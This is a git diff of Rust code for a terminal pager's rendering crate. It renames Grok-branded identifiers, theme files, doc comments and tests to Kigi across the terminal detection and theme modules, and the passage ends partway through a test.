+++ b/crates/codegen/kigi-pager-render/src/terminal/mod.rs
@@ -129,9 +129,9 @@ pub enum TerminalName {
     /// indistinguishable. All capabilities are conservative/Unknown.
     #[strum(to_string = "JetBrains")]
     JetBrains,
-    /// Grok Desktop (Electron app).
-    #[strum(to_string = "Grok Desktop")]
-    GrokDesktop,
+    /// Kigi Desktop (Electron app).
+    #[strum(to_string = "Kigi Desktop")]
+    KigiDesktop,
     /// VTE-based terminal (GNOME Terminal, kgx/GNOME Console, Tilix, etc.).
     #[strum(to_string = "VTE")]
     Vte,
@@ -276,7 +276,7 @@ pub struct TerminalContext {
     pub multiplexer: MultiplexerKind,
     /// Whether Byobu is wrapping the session, and which backend it uses.
     pub byobu: Option<ByobuBackend>,
-    /// Which embedded editor `:terminal` grok is running inside, if any.
+    /// Which embedded editor `:terminal` kigi is running inside, if any.
     pub embedded_editor: Option<EmbeddedEditor>,
     /// tmux client metadata (populated only when `multiplexer == Tmux`).
     pub tmux_meta: TmuxClientMeta,
@@ -323,7 +323,7 @@ impl TerminalContext {
 
     /// Whether an outer layer (embedded-editor :terminal or multiplexer) can
     /// repaint our pane out of band, stranding rows until a full clear. A heal
-    /// keyed off this only fires when a FocusGained actually reaches grok, which
+    /// keyed off this only fires when a FocusGained actually reaches kigi, which
     /// needs focus reporting enabled upstream (e.g. tmux `focus-events on`, off
     /// by default).
     pub fn repaints_pane_out_of_band(&self) -> bool {
@@ -645,7 +645,7 @@ fn detect_terminal_context() -> TerminalContext {
     // per-pane vars don't survive) and over SSH (not forwarded), except
     // brands with SSH-surviving markers (the VS Code family, and iTerm2
     // via LC_TERMINAL). tmux -g global env is stale (reflects the server's
-    // first client, not the current one). Revisit when `grok ssh` can
+    // first client, not the current one). Revisit when `kigi ssh` can
     // forward env vars.
     let mut ctx = build_terminal_context_from_env(&env);
     ctx.brand = refine_unknown_brand_for_host(ctx.brand, HostOs::current());
@@ -980,7 +980,7 @@ fn terminal_name_from_term_program(value: &str) -> Option<TerminalName> {
         "rio" => Some(TerminalName::Rio),
         "terminator" => Some(TerminalName::Terminator),
         "zed" => Some(TerminalName::Zed),
-        "grokdesktop" => Some(TerminalName::GrokDesktop),
+        "kigidesktop" => Some(TerminalName::KigiDesktop),
         "windowsterminal" => Some(TerminalName::WindowsTerminal),
         "otty" => Some(TerminalName::Otty),
         _ => None,
diff --git a/crates/codegen/kigi-pager-render/src/theme/cache.rs b/crates/codegen/kigi-pager-render/src/theme/cache.rs
index 1663731..982c595 100644
--- a/crates/codegen/kigi-pager-render/src/theme/cache.rs
+++ b/crates/codegen/kigi-pager-render/src/theme/cache.rs
@@ -19,7 +19,7 @@ use super::system_appearance;
 /// In-memory theme kind, encoded as a `u8` matching the
 /// `ThemeKind` discriminants. Loaded from disk once at startup via
 /// `load_from_disk()`, then kept in sync by `set()`.
-static CURRENT: AtomicU8 = AtomicU8::new(ThemeKind::GrokNight as u8);
+static CURRENT: AtomicU8 = AtomicU8::new(ThemeKind::KigiNight as u8);
 static LOADED: AtomicBool = AtomicBool::new(false);
 #[cfg(any(test, feature = "test-support"))]
 static TEST_LOCK: Mutex<()> = Mutex::new(());
@@ -36,19 +36,19 @@ static AUTO_MODE: AtomicBool = AtomicBool::new(false);
 static TERMINAL_NATIVE_LOCK: AtomicBool = AtomicBool::new(false);
 
 /// Decode the u8 stored in `CURRENT` back to a `ThemeKind`. Falls
-/// back to `GrokNight` if the byte is somehow out of range (which
+/// back to `KigiNight` if the byte is somehow out of range (which
 /// can't happen via `set` — the discriminant is always a valid
 /// variant — but defends against a future variant addition that
 /// forgot to extend this match).
 fn theme_kind_from_u8(byte: u8) -> ThemeKind {
     match byte {
-        x if x == ThemeKind::GrokNight as u8 => ThemeKind::GrokNight,
-        x if x == ThemeKind::GrokDay as u8 => ThemeKind::GrokDay,
+        x if x == ThemeKind::KigiNight as u8 => ThemeKind::KigiNight,
+        x if x == ThemeKind::KigiDay as u8 => ThemeKind::KigiDay,
         x if x == ThemeKind::TokyoNight as u8 => ThemeKind::TokyoNight,
         x if x == ThemeKind::RosePineMoon as u8 => ThemeKind::RosePineMoon,
         x if x == ThemeKind::OscuraMidnight as u8 => ThemeKind::OscuraMidnight,
         x if x == ThemeKind::Auto as u8 => ThemeKind::Auto,
-        _ => ThemeKind::GrokNight,
+        _ => ThemeKind::KigiNight,
     }
 }
 
@@ -63,7 +63,7 @@ static AUTO_THEME_CONFIG: Mutex<Option<AutoThemeConfig>> = Mutex::new(None);
 ///
 /// `dark_theme` and `light_theme` are the user-configured overrides read
 /// from `[ui].auto_dark_theme` and `[ui].auto_light_theme` in `config.toml`.
-/// When `None`, `to_theme_kind()` defaults to `GrokNight` / `GrokDay`.
+/// When `None`, `to_theme_kind()` defaults to `KigiNight` / `KigiDay`.
 #[derive(Debug, Clone, Copy, Default)]
 pub struct AutoThemeConfig {
     pub dark_theme: Option<ThemeKind>,
@@ -78,7 +78,7 @@ pub struct AutoThemeConfig {
 pub fn current_kind() -> ThemeKind {
     // Locked: return a constant nominal kind without seeding from disk.
     if terminal_native_locked() {
-        return ThemeKind::GrokNight;
+        return ThemeKind::KigiNight;
     }
     if !LOADED.load(Ordering::Acquire) {
         // Two threads racing into the seed path is harmless — the
@@ -161,7 +161,7 @@ pub fn invalidate_auto_theme_config() {
 /// Precedence:
 /// 1. Environment variable (`KIGI_THEME`)
 /// 2. Config file (`[ui].theme`)
-/// 3. Default: `GrokNight`
+/// 3. Default: `KigiNight`
 #[must_use]
 pub fn resolve_initial_theme() -> ThemeKind {
     // 1. Environment variable (for desktop app integration)
@@ -185,8 +185,8 @@ fn resolve_from_config(config_theme: Option<ThemeKind>, osc11_fallback: bool) ->
         return kind;
     }
 
-    // Default: GrokNight
-    ThemeKind::GrokNight
+    // Default: KigiNight
+    ThemeKind::KigiNight
 }
 
 /// Map an optional appearance detection result to a concrete `ThemeKind`.
@@ -194,13 +194,13 @@ fn resolve_from_appearance(appearance: Option<system_appearance::SystemAppearanc
     let config = auto_theme_config();
     appearance
         .map(|a| system_appearance::to_theme_kind(a, config.dark_theme, config.light_theme))
-        .unwrap_or(ThemeKind::GrokNight)
+        .unwrap_or(ThemeKind::KigiNight)
 }
 
 /// Resolve "auto" by detecting system appearance and mapping via config.
 ///
 /// Returns the concrete `ThemeKind` based on the current system appearance
-/// and the user's dark/light theme mapping. Falls back to `GrokNight`
+/// and the user's dark/light theme mapping. Falls back to `KigiNight`
 /// when detection fails.
 ///
 /// Uses desktop APIs only (no OSC 11) — safe to call at runtime while
@@ -274,7 +274,7 @@ fn load_auto_theme_config() -> AutoThemeConfig {
 pub fn reset_for_test() {
     // Tests are serialized via TEST_LOCK so the AtomicU8/AtomicBool
     // pair is safe to reset without any cross-thread coordination.
-    CURRENT.store(ThemeKind::GrokNight as u8, Ordering::Relaxed);
+    CURRENT.store(ThemeKind::KigiNight as u8, Ordering::Relaxed);
     LOADED.store(false, Ordering::Release);
     AUTO_MODE.store(false, Ordering::Relaxed);
     set_terminal_native_lock(false);
@@ -303,7 +303,7 @@ pub fn test_lock() -> &'static Mutex<()> {
 #[cfg(any(test, feature = "test-support"))]
 pub fn pin_theme() -> std::sync::MutexGuard<'static, ()> {
     let guard = test_lock().lock().unwrap_or_else(|e| e.into_inner());
-    set(ThemeKind::GrokNight);
+    set(ThemeKind::KigiNight);
     // Color level is a write-once `OnceLock`; tests run without a TTY so it
     // resolves to `TrueColor` anyway. Pin it explicitly (best-effort: ignore the
     // already-initialized `Err`) so the measure path that reads it stays fixed.
@@ -322,7 +322,7 @@ mod tests {
         reset_for_test();
         seed_auto_theme_defaults_for_test();
         // Set LOADED=true so current_kind() doesn't read from disk.
-        set(ThemeKind::GrokNight);
+        set(ThemeKind::KigiNight);
         system_appearance::clear_mock();
         f();
         system_appearance::clear_mock();
@@ -339,19 +339,19 @@ mod tests {
     #[test]
     fn terminal_native_lock_pins_kind_and_blocks_apply_kind() {
         with_test_env(|| {
-            set(ThemeKind::GrokDay);
+            set(ThemeKind::KigiDay);
             set_terminal_native_lock(true);
             assert!(terminal_native_locked());
-            assert_eq!(current_kind(), ThemeKind::GrokNight, "nominal kind");
+            assert_eq!(current_kind(), ThemeKind::KigiNight, "nominal kind");
 
-            let applied = super::super::Theme::apply_kind(ThemeKind::GrokDay);
-            assert_eq!(applied, ThemeKind::GrokNight, "apply_kind must no-op");
-            assert_eq!(current_kind(), ThemeKind::GrokNight);
+            let applied = super::super::Theme::apply_kind(ThemeKind::KigiDay);
+            assert_eq!(applied, ThemeKind::KigiNight, "apply_kind must no-op");
+            assert_eq!(current_kind(), ThemeKind::KigiNight);
 
             set_terminal_native_lock(false);
             assert_eq!(
                 current_kind(),
-                ThemeKind::GrokDay,
+                ThemeKind::KigiDay,
                 "unlocking restores the cached kind"
             );
         });
@@ -360,7 +360,7 @@ mod tests {
     #[test]
     fn terminal_native_lock_serves_terminal_default_palette() {
         with_test_env(|| {
-            set(ThemeKind::GrokDay);
+            set(ThemeKind::KigiDay);
             set_terminal_native_lock(true);
             let theme = super::super::Theme::current();
             let native = super::super::Theme::terminal_default();
@@ -369,8 +369,8 @@ mod tests {
             assert_eq!(theme.accent_user, native.accent_user);
             assert_ne!(
                 theme.text_primary,
-                super::super::Theme::grokday().text_primary,
-                "must not serve the cached (GrokDay) theme"
+                super::super::Theme::kigiday().text_primary,
+                "must not serve the cached (KigiDay) theme"
             );
         });
     }
@@ -393,7 +393,7 @@ mod tests {
             set_terminal_native_lock(true);
             assert!(color_support::detect() <= color_support::ColorLevel::Basic);
             for input in [
-                Color::Rgb(0x26, 0x26, 0x26), // grokday text_primary
+                Color::Rgb(0x26, 0x26, 0x26), // kigiday text_primary
                 Color::Rgb(122, 162, 247),
                 Color::Indexed(141),
             ] {
@@ -411,19 +411,19 @@ mod tests {
     fn resolve_no_osc11_explicit_auto_and_default() {
         with_test_env(|| {
             assert_eq!(
-                resolve_from_config(Some(ThemeKind::GrokDay), false),
-                ThemeKind::GrokDay
+                resolve_from_config(Some(ThemeKind::KigiDay), false),
+                ThemeKind::KigiDay
             );
             assert!(!is_auto_mode());
 
             system_appearance::set_mock(Some(system_appearance::SystemAppearance::Light));
             assert_eq!(
                 resolve_from_config(Some(ThemeKind::Auto), false),
-                ThemeKind::GrokDay
+                ThemeKind::KigiDay
             );
             assert!(is_auto_mode(), "auto must arm the appearance watcher");
 
-            assert_eq!(resolve_from_config(None, false), ThemeKind::GrokNight);
+            assert_eq!(resolve_from_config(None, false), ThemeKind::KigiNight);
         });
     }
 
@@ -458,29 +458,29 @@ mod tests {
     // -- resolve_auto --------------------------------------------------------
 
     #[test]
-    fn resolve_auto_dark_system_returns_groknight() {
+    fn resolve_auto_dark_system_returns_kiginight() {
         with_test_env(|| {
             system_appearance::set_mock(Some(system_appearance::SystemAppearance::Dark));
             let result = resolve_auto();
-            assert_eq!(result, ThemeKind::GrokNight);
+            assert_eq!(result, ThemeKind::KigiNight);
         });
     }
 
     #[test]
-    fn resolve_auto_light_system_returns_grokday() {
+    fn resolve_auto_light_system_returns_kigiday() {
         with_test_env(|| {
             system_appearance::set_mock(Some(system_appearance::SystemAppearance::Light));
             let result = resolve_auto();
-            assert_eq!(result, ThemeKind::GrokDay);
+            assert_eq!(result, ThemeKind::KigiDay);
         });
     }
 
     #[test]
-    fn resolve_auto_detection_failure_returns_groknight() {
+    fn resolve_auto_detection_failure_returns_kiginight() {
         with_test_env(|| {
             system_appearance::set_mock(None);
             let result = resolve_auto();
-            assert_eq!(result, ThemeKind::GrokNight);
+            assert_eq!(result, ThemeKind::KigiNight);
         });
     }
 
@@ -509,10 +509,10 @@ mod tests {
     // -- resolve_from_config (resolve_initial_theme inner logic) ---------------
 
     #[test]
-    fn resolve_from_config_no_config_returns_groknight() {
+    fn resolve_from_config_no_config_returns_kiginight() {
         with_test_env(|| {
             let result = resolve_from_config(None, true);
-            assert_eq!(result, ThemeKind::GrokNight);
+            assert_eq!(result, ThemeKind::KigiNight);
             assert!(!is_auto_mode());
         });
     }
@@ -520,8 +520,8 @@ mod tests {
     #[test]
     fn resolve_from_config_explicit_theme_returns_it() {
         with_test_env(|| {
-            let result = resolve_from_config(Some(ThemeKind::GrokDay), true);
-            assert_eq!(result, ThemeKind::GrokDay);
+            let result = resolve_from_config(Some(ThemeKind::KigiDay), true);
+            assert_eq!(result, ThemeKind::KigiDay);
             assert!(
                 !is_auto_mode(),
                 "explicit theme should not enable auto mode"
@@ -534,7 +534,7 @@ mod tests {
         with_test_env(|| {
             system_appearance::set_mock(Some(system_appearance::SystemAppearance::Dark));
             let result = resolve_from_config(Some(ThemeKind::Auto), true);
-            assert_eq!(result, ThemeKind::GrokNight);
+            assert_eq!(result, ThemeKind::KigiNight);
             assert!(is_auto_mode(), "auto config must enable auto mode");
         });
     }
@@ -544,7 +544,7 @@ mod tests {
         with_test_env(|| {
             system_appearance::set_mock(Some(system_appearance::SystemAppearance::Light));
             let result = resolve_from_config(Some(ThemeKind::Auto), true);
-            assert_eq!(result, ThemeKind::GrokDay);
+            assert_eq!(result, ThemeKind::KigiDay);
             assert!(is_auto_mode());
         });
     }
@@ -554,7 +554,7 @@ mod tests {
         with_test_env(|| {
             system_appearance::set_mock(None);
             let result = resolve_from_config(Some(ThemeKind::Auto), true);
-            assert_eq!(result, ThemeKind::GrokNight);
+            assert_eq!(result, ThemeKind::KigiNight);
             assert!(is_auto_mode(), "auto mode is set before detection");
         });
     }
@@ -617,8 +617,8 @@ mod tests {
         with_test_env(|| {
             set(ThemeKind::TokyoNight);
             assert_eq!(current_kind(), ThemeKind::TokyoNight);
-            set(ThemeKind::GrokDay);
-            assert_eq!(current_kind(), ThemeKind::GrokDay);
+            set(ThemeKind::KigiDay);
+            assert_eq!(current_kind(), ThemeKind::KigiDay);
         });
     }
 
@@ -638,14 +638,14 @@ mod tests {
                 !LOADED.load(Ordering::Acquire),
                 "LOADED must be false for this test"
             );
-            set(ThemeKind::GrokDay);
+            set(ThemeKind::KigiDay);
             assert!(
                 LOADED.load(Ordering::Acquire),
                 "set must flip LOADED to true"
             );
             // Subsequent current_kind read returns the set value (no
             // disk re-seed).
-            assert_eq!(current_kind(), ThemeKind::GrokDay);
+            assert_eq!(current_kind(), ThemeKind::KigiDay);
             assert!(
                 LOADED.load(Ordering::Acquire),
                 "current_kind must NOT flip LOADED back to false"
diff --git a/crates/codegen/kigi-pager-render/src/theme/grokday.rs b/crates/codegen/kigi-pager-render/src/theme/kigiday.rs
similarity index 95%
rename from crates/codegen/kigi-pager-render/src/theme/grokday.rs
rename to crates/codegen/kigi-pager-render/src/theme/kigiday.rs
index 596d0ea..c2c7fce 100644
--- a/crates/codegen/kigi-pager-render/src/theme/grokday.rs
+++ b/crates/codegen/kigi-pager-render/src/theme/kigiday.rs
@@ -1,8 +1,8 @@
-//! GrokDay theme — neutral gray base (light) with deepened accent colors.
+//! KigiDay theme — neutral gray base (light) with deepened accent colors.
 //!
-//! Light counterpart to GrokNight. Backgrounds and text use a neutral
+//! Light counterpart to KigiNight. Backgrounds and text use a neutral
 //! grayscale ramp (no blue/warm tint). Accent colors are the same hue
-//! family as GrokNight but deepened for contrast on light backgrounds.
+//! family as KigiNight but deepened for contrast on light backgrounds.
 
 use ratatui::style::{Color, Modifier};
 
@@ -52,7 +52,7 @@ mod palette {
 use palette::*;
 
 impl Theme {
-    pub const fn grokday() -> Self {
+    pub const fn kigiday() -> Self {
         Self {
             bg_base: BG_STORM,
             bg_light: BG_HIGHLIGHT,
diff --git a/crates/codegen/kigi-pager-render/src/theme/groknight.rs b/crates/codegen/kigi-pager-render/src/theme/kiginight.rs
similarity index 95%
rename from crates/codegen/kigi-pager-render/src/theme/groknight.rs
rename to crates/codegen/kigi-pager-render/src/theme/kiginight.rs
index 7ea7ad5..28ac09a 100644
--- a/crates/codegen/kigi-pager-render/src/theme/groknight.rs
+++ b/crates/codegen/kigi-pager-render/src/theme/kiginight.rs
@@ -1,4 +1,4 @@
-//! GrokNight theme — neutral gray base with TokyoNight accent colors.
+//! KigiNight theme — neutral gray base with TokyoNight accent colors.
 //!
 //! The canonical palette is defined in RGB (`Color::Rgb`). At startup the
 //! theme is run through [`Theme::quantized`] which downgrades every color
@@ -13,7 +13,7 @@ const fn rgb(r: u8, g: u8, b: u8) -> Color {
     Color::Rgb(r, g, b)
 }
 
-// GrokNight palette — neutral gray base + TokyoNight accent colors.
+// KigiNight palette — neutral gray base + TokyoNight accent colors.
 //
 // Backgrounds and text use a custom grayscale ramp anchored at:
 //   • bg  = #141414 (20)
@@ -60,11 +60,11 @@ mod palette {
 use palette::*;
 
 impl Theme {
-    /// GrokNight theme — neutral gray base with TokyoNight accents.
+    /// KigiNight theme — neutral gray base with TokyoNight accents.
     ///
     /// Colors are defined in RGB. Call [`Theme::quantized`] to downgrade
     /// them to the terminal's supported color level before rendering.
-    pub const fn groknight() -> Self {
+    pub const fn kiginight() -> Self {
         Self {
             bg_base: BG_STORM,
             bg_light: BG_HIGHLIGHT,
@@ -157,8 +157,8 @@ mod tests {
 
     #[test]
     #[ignore = "known broken: expected accent values drift from runtime theme"]
-    fn test_groknight_theme() {
-        let theme = Theme::groknight();
+    fn test_kiginight_theme() {
+        let theme = Theme::kiginight();
         assert!(matches!(theme.bg_base, Color::Rgb(20, 20, 20)));
         assert!(matches!(theme.accent_user, Color::Rgb(225, 225, 225)));
         assert!(matches!(theme.text_primary, Color::Rgb(225, 225, 225)));
diff --git a/crates/codegen/kigi-pager-render/src/theme/mod.rs b/crates/codegen/kigi-pager-render/src/theme/mod.rs
index 47dd4f4..fec7136 100644
--- a/crates/codegen/kigi-pager-render/src/theme/mod.rs
+++ b/crates/codegen/kigi-pager-render/src/theme/mod.rs
@@ -1,19 +1,19 @@
 //! Theming for the pager.
 //!
 //! All colors come from the `Theme` struct. No hardcoded colors elsewhere.
-//! The default theme is GrokNight (neutral gray base with TokyoNight accents).
+//! The default theme is KigiNight (neutral gray base with TokyoNight accents).
 //!
 //! ## Color support
 //!
-//! GrokNight is defined in `Color::Rgb` (truecolor). At startup,
+//! KigiNight is defined in `Color::Rgb` (truecolor). At startup,
 //! [`Theme::current()`] quantizes every color to the terminal's detected
 //! capability level via [`Theme::quantized`]. Runtime-generated colors (syntax
 //! highlighting, blending) are also quantized via [`color_support::quantize`].
 
 pub mod cache;
 pub mod color_support;
-mod grokday;
-mod groknight;
+mod kigiday;
+mod kiginight;
 pub mod md_style;
 pub mod osc11;
 mod oscura;
@@ -28,8 +28,8 @@ pub use tokyonight::{Theme, pulse_brightness, wave_brightness};
 /// Available theme variants.
 #[derive(Debug, Clone, Copy, PartialEq, Eq, Hash)]
 pub enum ThemeKind {
-    GrokNight = 0,
-    GrokDay = 1,
+    KigiNight = 0,
+    KigiDay = 1,
     TokyoNight = 2,
     RosePineMoon = 3,
     OscuraMidnight = 5,
@@ -46,8 +46,8 @@ pub enum ThemeKind {
 impl ThemeKind {
     /// All theme kinds (including those that may not work on the current terminal).
     pub const ALL: &[ThemeKind] = &[
-        ThemeKind::GrokNight,
-        ThemeKind::GrokDay,
+        ThemeKind::KigiNight,
+        ThemeKind::KigiDay,
         ThemeKind::TokyoNight,
         ThemeKind::RosePineMoon,
         ThemeKind::OscuraMidnight,
@@ -61,7 +61,7 @@ impl ThemeKind {
         // Two possible results — pick the right const slice based on
         // the detected color level. No heap allocation needed.
         const ALL: &[ThemeKind] = ThemeKind::ALL;
-        const NO_TRUECOLOR: &[ThemeKind] = &[ThemeKind::GrokNight, ThemeKind::GrokDay];
+        const NO_TRUECOLOR: &[ThemeKind] = &[ThemeKind::KigiNight, ThemeKind::KigiDay];
 
         if color_support::detect().has_truecolor() {
             ALL
@@ -73,9 +73,9 @@ impl ThemeKind {
     /// Human-readable display name.
     pub fn display_name(self) -> &'static str {
         match self {
-            Self::GrokNight => "groknight",
+            Self::KigiNight => "kiginight",
             Self::TokyoNight => "tokyonight",
-            Self::GrokDay => "grokday",
+            Self::KigiDay => "kigiday",
             Self::RosePineMoon => "rosepine-moon",
             Self::OscuraMidnight => "oscura-midnight",
             Self::Auto => "auto",
@@ -85,13 +85,13 @@ impl ThemeKind {
     /// Whether this theme requires truecolor (24-bit RGB) to look correct.
     ///
     /// TokyoNight uses blue-tinted backgrounds that lose their character
-    /// when quantized to 256 or 16 colors. GrokNight uses neutral grays
+    /// when quantized to 256 or 16 colors. KigiNight uses neutral grays
     /// that survive quantization cleanly.
     pub fn requires_truecolor(self) -> bool {
         match self {
-            Self::GrokNight => false,
+            Self::KigiNight => false,
             Self::TokyoNight => true,
-            Self::GrokDay => false,
+            Self::KigiDay => false,
             Self::RosePineMoon => true,
             Self::OscuraMidnight => true,
             // Auto is resolved to a concrete theme before rendering.
@@ -105,9 +105,9 @@ impl ThemeKind {
         let lower = name.to_lowercase();
         match lower.as_str() {
             "auto" | "system" => Some(Self::Auto),
-            "groknight" | "grok-night" | "dark" => Some(Self::GrokNight),
+            "kiginight" | "kigi-night" | "dark" => Some(Self::KigiNight),
             "tokyonight" | "tokyo-night" | "tokyo" => Some(Self::TokyoNight),
-            "grokday" | "grok-day" | "light" | "day" => Some(Self::GrokDay),
+            "kigiday" | "kigi-day" | "light" | "day" => Some(Self::KigiDay),
             "rosepine" | "rose-pine" | "rosepine-moon" | "rose-pine-moon" => {
                 Some(Self::RosePineMoon)
             }
@@ -139,12 +139,12 @@ pub fn canonical_name(value: &str) -> Option<&'static str> {
 }
 
 /// Human-friendly display name for a canonical theme value (e.g.
-/// `"groknight"` → `"Kigi Night"`). Falls back to `value` verbatim.
+/// `"kiginight"` → `"Kigi Night"`). Falls back to `value` verbatim.
 pub fn display_name_for_canonical(value: &str) -> &str {
     match value {
         "auto" => "Auto",
-        "groknight" => "Kigi Night",
-        "grokday" => "Kigi Day",
+        "kiginight" => "Kigi Night",
+        "kigiday" => "Kigi Day",
         "tokyonight" => "Tokyo Night",
         "rosepine-moon" => "Rose Pine Moon",
         other => other,
@@ -153,7 +153,7 @@ pub fn display_name_for_canonical(value: &str) -> &str {
 
 impl Default for Theme {
     fn default() -> Self {
-        Self::groknight()
+        Self::kiginight()
     }
 }
 
@@ -270,14 +270,14 @@ impl Theme {
             return Self::terminal_default().quantized(level);
         }
         let base = match cache::current_kind() {
-            ThemeKind::GrokNight => Self::groknight(),
+            ThemeKind::KigiNight => Self::kiginight(),
             ThemeKind::TokyoNight => Self::tokyonight(),
-            ThemeKind::GrokDay => Self::grokday(),
+            ThemeKind::KigiDay => Self::kigiday(),
             ThemeKind::RosePineMoon => Self::rosepine_moon(),
             ThemeKind::OscuraMidnight => Self::oscura_midnight(),
             // Auto is resolved to a concrete theme before being stored;
-            // if reached, fall back to GrokNight.
-            ThemeKind::Auto => Self::groknight(),
+            // if reached, fall back to KigiNight.
+            ThemeKind::Auto => Self::kiginight(),
         };
         // Sample polarity pre-quantization — post-quantize `bg_base` may
         // land on a named/indexed entry whose luminance is host-palette-
@@ -342,7 +342,7 @@ impl Theme {
     /// Clamp a theme kind to what the terminal supports.
     fn clamp_to_terminal(kind: ThemeKind) -> ThemeKind {
         if kind.requires_truecolor() && !color_support::detect().has_truecolor() {
-            ThemeKind::GrokNight
+            ThemeKind::KigiNight
         } else {
             kind
         }
@@ -431,7 +431,7 @@ impl Theme {
     /// 2. **Semantic accents (running/error/success/etc.).** Naive
     ///    RGB-distance quantization collapses pastel theme hues onto
     ///    the gray ramp (audit: 18/27 fields became DarkGray or silver
-    ///    on groknight, erasing every state signal). We pin each
+    ///    on kiginight, erasing every state signal). We pin each
     ///    semantic field to a hue-preserving ANSI16 slot, polarity-aware:
     ///    bright variants (`Light*`, idx 9–15) on a dark canvas; normal
     ///    variants (idx 1–7, ~50% luminance) on a light canvas. This
@@ -447,7 +447,7 @@ impl Theme {
     /// theme's polarity (Black for dark themes, White for light themes)
     /// instead of `Color::Reset` — using `Reset` would defer to the
     /// user's terminal profile, which can disagree with the selected
-    /// theme (e.g., GrokNight on a white terminal would show white
+    /// theme (e.g., KigiNight on a white terminal would show white
     /// "holes" through every sunken surface).
     fn ansi16_chrome_overrides(self, dark: bool) -> Self {
         use ratatui::style::Color;
@@ -505,7 +505,7 @@ impl Theme {
             // ── Elevated surfaces: one step off the canvas ──────────────
             // Hover/highlight/visual-selection rows need to read as a
             // distinct "raised" band against the body. Without this every
-            // GrokNight bg field quantizes to Color::Black and these
+            // KigiNight bg field quantizes to Color::Black and these
             // become invisible.
             bg_light: elevated_bg,
             bg_highlight: elevated_bg,
@@ -679,8 +679,8 @@ mod tests {
 
     #[test]
     fn is_auto_returns_false_for_concrete_variants() {
-        assert!(!ThemeKind::GrokNight.is_auto());
-        assert!(!ThemeKind::GrokDay.is_auto());
+        assert!(!ThemeKind::KigiNight.is_auto());
+        assert!(!ThemeKind::KigiDay.is_auto());
         assert!(!ThemeKind::TokyoNight.is_auto());
         assert!(!ThemeKind::RosePineMoon.is_auto());
         assert!(!ThemeKind::OscuraMidnight.is_auto());
@@ -699,17 +699,17 @@ mod tests {
     #[test]
     fn is_dark_classifies_built_in_themes() {
         // Sanity-check the polarity sampler against the theme catalog.
-        assert!(Theme::groknight().is_dark());
+        assert!(Theme::kiginight().is_dark());
         assert!(Theme::tokyonight().is_dark());
         assert!(Theme::rosepine_moon().is_dark());
         assert!(Theme::oscura_midnight().is_dark());
-        assert!(!Theme::grokday().is_dark());
+        assert!(!Theme::kigiday().is_dark());
     }
 
     #[test]
     fn ansi16_overrides_dark_uses_bright_white_high_contrast() {
         use ratatui::style::Color;
-        let t = Theme::groknight().ansi16_chrome_overrides(true);
+        let t = Theme::kiginight().ansi16_chrome_overrides(true);
         assert_eq!(t.bg_light, Color::DarkGray);
         assert_eq!(t.bg_highlight, Color::DarkGray);
         // Idle prompt border sits at `dim_fg` (DarkGray on dark canvas);
@@ -732,7 +732,7 @@ mod tests {
         // flips to silver — see
         // `ansi16_overrides_gray_hierarchy_collapses_to_two_slots`.
         use ratatui::style::Color;
-        let t = Theme::grokday().ansi16_chrome_overrides(false);
+        let t = Theme::kigiday().ansi16_chrome_overrides(false);
         assert_eq!(t.bg_light, Color::Gray);
         assert_eq!(t.bg_highlight, Color::Gray);
         assert_eq!(t.prompt_border, Color::Gray);
@@ -749,7 +749,7 @@ mod tests {
         // (`bg_dark`, `md_code_bg`, `paste_bg`, `scrollbar_bg`) are
         // tested separately in
         // `ansi16_overrides_canvas_matching_surfaces_use_theme_polarity`.
-        let base = Theme::groknight();
+        let base = Theme::kiginight();
         let t = base.ansi16_chrome_overrides(true);
         assert_eq!(t.bg_base, base.bg_base);
     }
@@ -762,12 +762,12 @@ mod tests {
         // pastel RGBs collapse onto silver/DarkGray and every state
         // signal becomes the same gray.
         use ratatui::style::Color;
-        let t_dark = Theme::groknight().ansi16_chrome_overrides(true);
+        let t_dark = Theme::kiginight().ansi16_chrome_overrides(true);
         assert_eq!(t_dark.accent_error, Color::LightRed);
         assert_eq!(t_dark.accent_success, Color::LightGreen);
         assert_eq!(t_dark.accent_running, Color::LightMagenta);
 
-        let t_light = Theme::grokday().ansi16_chrome_overrides(false);
+        let t_light = Theme::kigiday().ansi16_chrome_overrides(false);
         assert_eq!(t_light.accent_error, Color::Red);
         assert_eq!(t_light.accent_success, Color::Green);
         assert_eq!(t_light.accent_running, Color::Magenta);
@@ -781,7 +781,7 @@ mod tests {
         // onto it together — they live in different surfaces so the
         // collision doesn't cause confusion.
         use ratatui::style::Color;
-        let t = Theme::groknight().ansi16_chrome_overrides(true);
+        let t = Theme::kiginight().ansi16_chrome_overrides(true);
         assert_eq!(t.accent_assistant, Color::LightMagenta);
         assert_eq!(t.accent_thinking, Color::LightMagenta);
         assert_eq!(t.accent_running, Color::LightMagenta);
@@ -796,7 +796,7 @@ mod tests {
         // semantic is more important than per-accent differentiation
         // that the palette cannot represent.
         use ratatui::style::Color;
-        let t_dark = Theme::groknight().ansi16_chrome_overrides(true);
+        let t_dark = Theme::kiginight().ansi16_chrome_overrides(true);
         for f in [
             t_dark.command,
             t_dark.warning,
@@ -806,7 +806,7 @@ mod tests {
             assert_eq!(f, Color::LightYellow);
         }
 
-        let t_light = Theme::grokday().ansi16_chrome_overrides(false);
+        let t_light = Theme::kigiday().ansi16_chrome_overrides(false);
         for f in [
             t_light.command,
             t_light.warning,
@@ -824,7 +824,7 @@ mod tests {
         // from the magenta `accent_running` used for subagents) also
         // lives here.
         use ratatui::style::Color;
-        let t = Theme::groknight().ansi16_chrome_overrides(true);
+        let t = Theme::kiginight().ansi16_chrome_overrides(true);
         assert_eq!(t.accent_feedback, Color::LightCyan);
         assert_eq!(t.accent_model, Color::LightCyan);
         assert_eq!(t.running, Color::LightCyan);
@@ -835,12 +835,12 @@ mod tests {
         // System messages, skill invocations, and fuzzy-search matches
         // all carry the same blue family in truecolor.
         use ratatui::style::Color;
-        let t_dark = Theme::groknight().ansi16_chrome_overrides(true);
+        let t_dark = Theme::kiginight().ansi16_chrome_overrides(true);
         assert_eq!(t_dark.accent_system, Color::LightBlue);
         assert_eq!(t_dark.accent_skill, Color::LightBlue);
         assert_eq!(t_dark.fuzzy_accent, Color::LightBlue);
 
-        let t_light = Theme::grokday().ansi16_chrome_overrides(false);
+        let t_light = Theme::kigiday().ansi16_chrome_overrides(false);
         assert_eq!(t_light.accent_system, Color::Blue);
         assert_eq!(t_light.accent_skill, Color::Blue);
         assert_eq!(t_light.fuzzy_accent, Color::Blue);
@@ -852,11 +852,11 @@ mod tests {
         // ANSI16 (the subtle pastel bg tints don't survive quantization).
         // Pin fg to red / green so deletes and inserts stay legible.
         use ratatui::style::Color;
-        let t_dark = Theme::groknight().ansi16_chrome_overrides(true);
